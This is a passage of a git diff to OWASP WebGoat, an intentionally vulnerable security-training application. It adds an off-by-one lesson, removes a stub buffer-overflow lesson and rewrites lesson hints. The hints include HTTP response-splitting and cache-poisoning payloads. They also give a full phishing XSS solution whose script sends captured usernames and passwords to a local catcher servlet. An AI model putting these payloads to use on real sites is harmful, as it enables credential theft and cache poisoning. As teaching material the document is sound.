diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/BufferOverflow.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/BufferOverflow.java deleted file mode 100644 index 8266e8855..000000000 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/BufferOverflow.java +++ /dev/null @@ -1,103 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.StringElement; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 2007 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at code.google.com, a repository for free software - * projects. - * - * For details, please see http://code.google.com/p/webgoat/ - * - * @author Bruce Mayhew WebGoat - * @created October 28, 2003 - */ -public class BufferOverflow extends LessonAdapter -{ - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - // just to get the generic how to text. - return super.createContent(s); - } - - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - - return Category.BUFFER_OVERFLOW; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Lesson Hint 1"); - hints.add("Lesson Hint 2"); - - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(15); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Buffer Overflow"); - } - - public Element getCredits() - { - return new StringElement("This screen created by: Your name could go here"); - } -} diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/CSRF.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/CSRF.java index eb246f25d..c30991295 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/CSRF.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/CSRF.java @@ -92,7 +92,7 @@ public class CSRF extends LessonAdapter String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, "")); String message = s.getParser().getRawParameter(MESSAGE, ""); - Connection connection = DatabaseUtilities.getConnection(s); + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )"; @@ -221,7 +221,7 @@ public class CSRF extends LessonAdapter try { - Connection connection = DatabaseUtilities.getConnection(s); + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); // edit by Chuck Willis - Added logic to associate similar usernames // The idea is that users chuck-1, chuck-2, etc will see each other's messages @@ -280,7 +280,7 @@ public class CSRF extends LessonAdapter { int messageNum = s.getParser().getIntParameter(NUMBER, 0); - Connection connection = DatabaseUtilities.getConnection(s); + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?"; PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/Category.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/Category.java index 90b24335b..5683a4842 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/Category.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/Category.java @@ -57,11 +57,11 @@ public class Category implements Comparable public final static Category XSS = new Category("Cross-Site Scripting (XSS)", new Integer(900)); - public final static Category DOS = new Category("Denial of Service", new Integer(1000)); + public final static Category ERROR_HANDLING = new Category("Improper Error Handling", new Integer(1000)); - public final static Category ERROR_HANDLING = new Category("Improper Error Handling", new Integer(1100)); - - public final static Category INJECTION = new Category("Injection Flaws", new Integer(1200)); + public final static Category INJECTION = new Category("Injection Flaws", new Integer(1100)); + + public final static Category DOS = new Category("Denial of Service", new Integer(1200)); public final static Category INSECURE_COMMUNICATION = new Category("Insecure Communication", new Integer(1300)); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java index 530a74af1..4f45424e3 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java @@ -338,7 +338,7 @@ public class ClientSideFiltering extends SequentialLessonAdapter hints.add("Stage 1: Look in the last row of the hidden table."); hints - .add("Stage 1: You can access the server directly here " + .add("Stage 1: You can access the server directly here " + "to see what results are being returned"); hints.add("Stage 2: The server uses an XPath query agasinst an XML database."); @@ -346,7 +346,7 @@ public class ClientSideFiltering extends SequentialLessonAdapter hints.add("Stage 2: The query currently returns all of the contents of the database."); hints - .add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102"); + .add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102"); hints.add("Stage 2: Try using a filter operator."); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java index aa589d1a0..8bf605fc0 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java @@ -74,7 +74,7 @@ public class DOMInjection extends LessonAdapter s.getResponse().setHeader("Cache-Control", "no-cache"); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); - out.print("document.forms[0].SUBMIT.disabled = false;"); + out.print("document.form.SUBMIT.disabled = false;"); out.flush(); out.close(); return; @@ -182,7 +182,7 @@ public class DOMInjection extends LessonAdapter List hints = new ArrayList(); hints.add("This page is using XMLHTTP to comunicate with the server."); hints.add("Try to find a way to inject the DOM to enable the Activate button."); - hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;"); + hints.add("Intercept the reply and replace the body with document.form.SUBMIT.disabled = false;"); return hints; } diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java index 15bc94ed6..ffc576964 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java @@ -243,7 +243,7 @@ public class DOMXSS extends SequentialLessonAdapter if (getLessonTracker(s).getStage() == 1) { - instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; + instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; } else if (getLessonTracker(s).getStage() == 2) { diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java index a8e34b60c..814386d8b 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java @@ -228,11 +228,11 @@ public class HttpSplitting extends SequentialLessonAdapter hints.add("The Content-Length: 0 will tell the server that the first request is over."); hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E
For insight into what this does, use the PHP charset encoder to decode it."); hints .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>"); + .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E"); hints .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); hints diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java index 299386c91..eceba3b91 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java @@ -361,7 +361,7 @@ public class MaliciousFileExecution extends LessonAdapter String instructions = "The form below allows you to upload an image which will be displayed on this page. " + "Features like this are often found on web based discussion boards and social networking sites. " + "This feature is vulnerable to Malicious File Execution." - + "

In order to pass this lession, upload and run a malicious file. In order to prove that your file can execute," + + "

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," + " it should create another file named:

" + uploads_and_target_parent_directory + TARGET_RELATIVE_PATH diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java new file mode 100644 index 000000000..18834df8c --- /dev/null +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/OffByOne.java @@ -0,0 +1,518 @@ + +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.xhtml.br; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + + +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository for free software + * projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Yiannis Pavlosoglou WebGoat + * @created December 05, 2009 + */ +public class OffByOne extends LessonAdapter +{ + private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; + + private final static String ROOM_NUMBER = "room_no"; + + private final static String FIRST_NAME = "first_name"; + + private final static String LAST_NAME = "last_name"; + + private final static String PRICE_PLAN = "price_plan"; + + private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") + .setBorder(0).setHspace(0).setVspace(0); + + /** + *

The main method for creating content, implemented + * from the the LessonAdapter class.

+ * + *

This particular "Off-by-One" lesson belonging in + * the category of "Buffer Overflows" carries three + * steps.

+ * + * @param s + * WebSession + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + if(isFirstStep(s)) + { + ec.addElement(makeFirstStep(s)); + } + else + { + if (isSecondStep(s)) + { + ec.addElement(makeSecondStep(s)); + } + else + { + ec.addElement(makeThirdStep(s)); + } + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + *

Returns the Buffer Overflow category for this + * lesson.

+ * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.BUFFER_OVERFLOW; + } + + /** + *

Returns the hints as a List of Strings + * for this lesson.

+ * + * @return The hints values + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("While registering for Internet usage, see where else your details are used during the registration process."); + hints.add("See which fields during the registration process, allow for really long input to be submitted."); + hints.add("Check for hidden form fields during registration"); + hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1"); + return hints; + } + + /** + *

Get the default ranking within the "Buffer + * Overflow" category.

+ * + *

Currently ranked to be the first lesson in + * this category.

+ * + * @return The value of 5 as an Integer Object + */ + protected Integer getDefaultRanking() + { + return new Integer(5); + } + + /** + *

Gets the title attribute for this lesson.

+ * + * @return "Off-by-One Overflows" + */ + public String getTitle() + { + return ("Off-by-One Overflows"); + } + + /** + * yada, yada... + */ + public Element getCredits() + { + return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); + } + + /** + *

Based on the parameters currently with values, this method + * returns true if we are in the first step of this lesson.

+ * + * @param s + * @return true if we are in the first step of the lesson. + */ + protected boolean isFirstStep(WebSession s) + { + String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); + String name = s.getParser().getRawParameter(FIRST_NAME, ""); + String last = s.getParser().getRawParameter(LAST_NAME, ""); + + return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); + } + + /** + *

Based on the parameters currently with values, this method + * returns true if we are in the second step of this lesson.

+ * + * @param s + * @return true if we are in the second step of the lesson + */ + protected boolean isSecondStep(WebSession s) + { + String price = s.getParser().getRawParameter(PRICE_PLAN, ""); + + return price.isEmpty(); + } + + /** + *

Method for constructing the first step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the first step. + */ + private Element makeFirstStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 1/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + // First Name + try { + param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + Input input = new Input(Input.TEXT, FIRST_NAME, param); + + TR tr = new TR(); + tr.addElement(new TD().addElement("First Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Last Name + try { + param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, LAST_NAME, param); + + tr = new TR(); + tr.addElement(new TD().addElement("Last Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Room Number + try { + param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, ROOM_NUMBER, param); + + tr = new TR(); + tr.addElement(new TD().addElement("Room Number: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("* The above fields are required for login.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *

Method for constructing the second step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the second step. + */ + private Element makeSecondStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("Please select from the following available price plans:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 2/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement("Available Price Plans:")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); + + // Hidden Form Fields + param = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, LAST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, FIRST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, ROOM_NUMBER, param); + ec.addElement(input); + ec.addElement("\r\n"); + + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *

Method for constructing the third step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the third step. + */ + private Element makeThirdStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; + + // Header + ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Process complete")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); + ec.addElement(new br()); + ec.addElement(new br()); + + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); + + // Hidden Form Fields + param = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, "a", param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, "b", param); + ec.addElement(input); + ec.addElement("\r\n"); + + param = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, "c", param); + ec.addElement(input); + ec.addElement("\r\n"); + + // And finally the check... + if(param.length() > 4096) + { + ec.addElement(new Input(Input.hidden, "d", "Johnathan")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "e", "Ravern")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "f", "4321")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "g", "John")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "h", "Smith")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "i", "56")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "j", "Ana")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "k", "Arneta")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "l", "78")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "m", "Lewis")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "n", "Hamilton")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "o", "9901")); + ec.addElement("\r\n"); + // :) + makeSuccess(s); + + } + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("We would like to thank you for your payment.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + +} diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java index a9a81fb8c..ce37685d7 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/Phishing.java @@ -170,21 +170,21 @@ public class Phishing extends LessonAdapter + "Try to make the form look official."); hints .add("Try:
" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br></form><br><br><HR>"); hints .add("Add functionality that can post a request, a button might work

" + "After getting the button on the page, don't forget you will need to steal the credentials and post them to:
" - + "http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); + + "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); hints .add("Try:
" + "<input type="submit" name="login" " + "value="login">" - + "

Solution for this hint:

" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "

In the whole script:

" + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " + "value="login" onclick="hack()"></form><br><br><HR>"); @@ -192,49 +192,52 @@ public class Phishing extends LessonAdapter .add("Make the button perform an action on submit,
" + "adding an onclick=\"hack()\" might work
" + "Don't forget to add the hack() javascript function" - + "

Solution for this hint:

" - + "password<form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "

In the whole script:

" + + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); + + "value="login" onclick="hack()"></form><br><br><HR>
" + + "Also, check firebug. Does the search form need to be terminated for this to work...? (</form>)"); hints .add("You need to create the hack() function. This function will pull the credentials from the " + "webpage and post them to the WebGoat catcher servlet.
" + "
Some useful code snippets:
    " - + "
  • doucument.forms[0].user.value - will access the user field" + + "
  • doucument.phish.user.value - will access the user field" + "
  • XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" + "
  • javascript string concatentation uses a \"+\"
" - + "

Solution for this hint():

" - + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); " - + "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+" - + "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}" + + "

The entire javascript portion:

" + + "<script>function hack(){ " + + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" + + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" + + "alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " + "</script>"); hints .add("Complete solution for this lesson:

" - + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); " - + "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+" - + "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}" - + "</script><form><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" id="user" " + + "</form><script>function hack(){ " + + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" + + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" + + "alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " + + "</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" " + "name="user"><br>Enter Password:<br><input type="password" " + "name = "pass"><br><input type="submit" name="login" " + "value="login" onclick="hack()"></form><br><br><HR>"); /** * password

+ * +document.phish.user.value + "&password=" + document.phish.pass.value + + * "";}
*
*
*

This feature requires account login:


*
* Enter Username:
- *
+ *
* Enter Password:
*
*

@@ -258,7 +261,7 @@ public class Phishing extends LessonAdapter + "Using XSS and HTML insertion, your goal is to:
    " + "
  • Insert html to that requests credentials" + "
  • Add javascript to actually collect the credentials" - + "
  • Post the credentials to http://localhost/WebGoat/catcher?PROPERTY=yes...
" + + "
  • Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes... " + "To pass this lesson, the credentials must be posted to the catcher servlet.
    "; return (instructions); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java index c560621e0..2a5390752 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java @@ -62,8 +62,9 @@ public class DeleteProfile extends DefaultLessonAction if (isAuthenticated(s)) { + if (userId != employeeId) { deleteEmployeeProfile(s, userId, employeeId); - + } try { chainedAction.handleRequest(s); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java index c28554cc2..ceee7619a 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java @@ -68,6 +68,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + + // This action has not yet been implemented. None of the lessons require it. registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); // These actions are special in that they chain to other actions. diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java index 